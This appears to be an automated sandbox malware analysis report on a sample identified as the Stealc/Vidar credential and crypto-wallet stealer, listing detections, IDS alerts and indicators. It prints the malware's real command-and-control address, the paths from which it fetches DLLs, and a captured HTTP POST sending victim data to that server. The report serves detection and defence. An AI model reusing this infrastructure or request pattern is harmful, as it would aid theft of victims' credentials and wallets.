Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532347
MD5:	b56821701719ae035a199a58d5e3303c
SHA1:	826e1c02f57d75085e51e73ee9a968d74459d1dc
SHA256:	cc4a9ab31e260f747025500a43e30c44855519fbc3d5e4ee499d34278f781acb
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2672 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B56821701719AE035A199A58D5E3303C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2156334740.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 2672	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2672	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2672	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T00:47:41.948166+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49711	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T00:47:41.942120+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T00:47:42.165068+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T00:47:43.316829+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T00:47:42.188955+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49711	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T00:47:41.718649+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T00:47:43.816165+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:50.521545+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:51.757897+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:52.482776+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:53.013625+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:54.718986+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:55.117974+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 30 35 32 35 45 35 46 41 38 36 33 35 37 36 38 35 30 37 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="hwid"B90525E5FA863576850798------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="build"doma------JDGHIIJKEBGIDHIDBKJD--

Source: file.exe, 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllL
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllp
Source: file.exe, 00000000.00000002.2386523415.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.0000000001423000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll.
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllF
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllP
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllj
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllt
Source: file.exe, 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllB
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllf
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll5
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/E
Source: file.exe, 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php#
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3I5
Source: file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php55Z
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpCoinomi
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php_
Source: file.exe, 00000000.00000002.2386523415.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpata
Source: file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpm5
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phprowser
Source: file.exe, 00000000.00000002.2386523415.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phprum-LTC
Source: file.exe, 00000000.00000002.2415992487.00000000299A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpv5
Source: file.exe, 00000000.00000002.2386523415.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37:
Source: file.exe, 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2422841103.000000006FD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2410215050.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422302754.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: DHCGIDHD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: DHCGIDHD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ep
Source: file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.epnacl
Source: file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: DHCGIDHD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: DHCGIDHD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: DHCGIDHD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AEGHIJEHJDHIDHIDAEHC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2415992487.0000000029940000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: DHCGIDHD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: HJJJDAEGIDHCBFHJJJEGIJDBGH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2419077055.000000002F9C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386523415.000000000147B000.00000004.00000020.00020000.00000000.sdmp, AEGHIJEHJDHIDHIDAEHC.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

